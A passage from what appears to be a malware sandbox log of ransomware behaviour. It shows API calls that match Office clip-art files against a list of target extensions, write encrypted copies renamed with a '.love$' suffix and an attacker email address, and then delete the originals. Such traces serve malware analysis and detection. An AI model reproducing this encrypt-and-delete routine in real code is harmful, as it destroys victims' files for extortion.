lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.578] lstrlenW (lpString=".bz2") returned 4 [0260.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.578] lstrlenW (lpString=".7z") returned 3 [0260.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.578] lstrlenW (lpString=".dbf") returned 4 [0260.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.578] lstrlenW (lpString=".1cd") returned 4 [0260.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0260.578] lstrlenW (lpString=".jpg") returned 4 [0260.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.579] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.579] lstrlenW (lpString="HM00116_.WMF") returned 12 [0260.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0260.580] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=15852) returned 1 [0260.580] CloseHandle (hObject=0x570) returned 1 [0260.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0260.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0260.581] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.581] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0260.583] GetLastError () returned 0x0 [0260.583] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0261.187] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0261.199] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.199] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.199] SetEndOfFile (hFile=0x574) returned 1 [0261.199] CloseHandle (hObject=0x574) returned 1 [0261.199] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.200] SetEndOfFile (hFile=0x570) returned 1 [0261.204] CloseHandle (hObject=0x570) returned 1 [0261.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0261.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.206] lstrlenW (lpString=".doc") returned 4 [0261.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.206] lstrlenW (lpString=".docx") returned 5 [0261.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.206] lstrlenW (lpString=".pdf") returned 4 [0261.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.206] lstrlenW (lpString=".xls") returned 4 [0261.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.206] lstrlenW (lpString=".xlsx") returned 5 [0261.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.207] lstrlenW (lpString=".ppt") returned 4 [0261.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.207] lstrlenW (lpString=".zip") returned 4 [0261.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.207] lstrlenW (lpString=".rar") returned 4 [0261.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.207] lstrlenW (lpString=".bz2") returned 4 [0261.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.207] lstrlenW (lpString=".7z") returned 3 [0261.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.207] lstrlenW (lpString=".dbf") returned 4 [0261.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.207] lstrlenW (lpString=".1cd") returned 4 [0261.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.208] lstrlenW (lpString=".jpg") returned 4 [0261.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.208] lstrlenW (lpString=".doc") returned 4 [0261.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.208] lstrlenW (lpString=".docx") returned 5 [0261.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.208] lstrlenW (lpString=".pdf") returned 4 [0261.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.208] lstrlenW (lpString=".xls") returned 4 [0261.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.208] lstrlenW (lpString=".xlsx") returned 5 [0261.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.208] lstrlenW (lpString=".ppt") returned 4 [0261.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.208] lstrlenW (lpString=".zip") returned 4 [0261.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.209] lstrlenW (lpString=".rar") returned 4 [0261.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.209] lstrlenW (lpString=".bz2") returned 4 [0261.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.209] lstrlenW (lpString=".7z") returned 3 [0261.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.209] lstrlenW (lpString=".dbf") returned 4 [0261.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.209] lstrlenW (lpString=".1cd") returned 4 [0261.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0261.209] lstrlenW (lpString=".jpg") returned 4 [0261.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.209] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.209] lstrlenW (lpString="IN00915_.WMF") returned 12 [0261.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0261.211] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=12748) returned 1 [0261.211] CloseHandle (hObject=0x570) returned 1 [0261.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0261.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0261.212] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.212] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0261.214] GetLastError () returned 0x0 [0261.214] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0261.251] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0261.253] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.253] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.253] SetEndOfFile (hFile=0x574) returned 1 [0261.273] CloseHandle (hObject=0x574) returned 1 [0261.284] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.284] SetEndOfFile (hFile=0x570) returned 1 [0261.537] CloseHandle (hObject=0x570) returned 1 [0261.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0261.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.539] lstrlenW (lpString=".doc") returned 4 [0261.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.539] lstrlenW (lpString=".docx") returned 5 [0261.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.539] lstrlenW (lpString=".pdf") returned 4 [0261.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.539] lstrlenW (lpString=".xls") returned 4 [0261.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.539] lstrlenW (lpString=".xlsx") returned 5 [0261.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.539] lstrlenW (lpString=".ppt") returned 4 [0261.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.539] lstrlenW (lpString=".zip") returned 4 [0261.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.539] lstrlenW (lpString=".rar") returned 4 [0261.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.539] lstrlenW (lpString=".bz2") returned 4 [0261.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString=".7z") returned 3 [0261.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.540] lstrlenW (lpString=".dbf") returned 4 [0261.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.540] lstrlenW (lpString=".1cd") returned 4 [0261.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.540] lstrlenW (lpString=".jpg") returned 4 [0261.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.540] lstrlenW (lpString=".doc") returned 4 [0261.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString=".docx") returned 5 [0261.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.540] lstrlenW (lpString=".pdf") returned 4 [0261.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString=".xls") returned 4 [0261.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.540] lstrlenW (lpString=".xlsx") returned 5 [0261.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.540] lstrlenW (lpString=".ppt") returned 4 [0261.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.540] lstrlenW (lpString=".zip") returned 4 [0261.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.541] lstrlenW (lpString=".rar") returned 4 [0261.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.541] lstrlenW (lpString=".bz2") returned 4 [0261.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.541] lstrlenW (lpString=".7z") returned 3 [0261.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.541] lstrlenW (lpString=".dbf") returned 4 [0261.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.541] lstrlenW (lpString=".1cd") returned 4 [0261.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0261.541] lstrlenW (lpString=".jpg") returned 4 [0261.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.542] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.542] lstrlenW (lpString="J0086384.WMF") returned 12 [0261.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0261.544] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=9734) returned 1 [0261.544] CloseHandle (hObject=0x570) returned 1 [0261.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0261.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0261.545] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.545] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0261.546] GetLastError () returned 0x0 [0261.546] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2606, lpOverlapped=0x0) returned 1 [0261.551] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2610, lpOverlapped=0x0) returned 1 [0261.553] ReadFile (in: hFile=0x570, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.553] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.553] SetEndOfFile (hFile=0x534) returned 1 [0261.553] CloseHandle (hObject=0x534) returned 1 [0261.553] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.553] SetEndOfFile (hFile=0x570) returned 1 [0261.557] CloseHandle (hObject=0x570) returned 1 [0261.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0261.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.559] lstrlenW (lpString=".doc") returned 4 [0261.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.559] lstrlenW (lpString=".docx") returned 5 [0261.559] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.559] lstrlenW (lpString=".pdf") returned 4 [0261.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.559] lstrlenW (lpString=".xls") returned 4 [0261.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.559] lstrlenW (lpString=".xlsx") returned 5 [0261.559] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.559] lstrlenW (lpString=".ppt") returned 4 [0261.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.560] lstrlenW (lpString=".zip") returned 4 [0261.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.560] lstrlenW (lpString=".rar") returned 4 [0261.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.560] lstrlenW (lpString=".bz2") returned 4 [0261.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.560] lstrlenW (lpString=".7z") returned 3 [0261.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.560] lstrlenW (lpString=".dbf") returned 4 [0261.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.560] lstrlenW (lpString=".1cd") returned 4 [0261.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.560] lstrlenW (lpString=".jpg") returned 4 [0261.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.560] lstrlenW (lpString=".doc") returned 4 [0261.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.560] lstrlenW (lpString=".docx") returned 5 [0261.561] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.561] lstrlenW (lpString=".pdf") returned 4 [0261.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.561] lstrlenW (lpString=".xls") returned 4 [0261.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.561] lstrlenW (lpString=".xlsx") returned 5 [0261.561] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.561] lstrlenW (lpString=".ppt") returned 4 [0261.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.561] lstrlenW (lpString=".zip") returned 4 [0261.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.561] lstrlenW (lpString=".rar") returned 4 [0261.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.561] lstrlenW (lpString=".bz2") returned 4 [0261.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.561] lstrlenW (lpString=".7z") returned 3 [0261.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.561] lstrlenW (lpString=".dbf") returned 4 [0261.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0261.562] lstrlenW 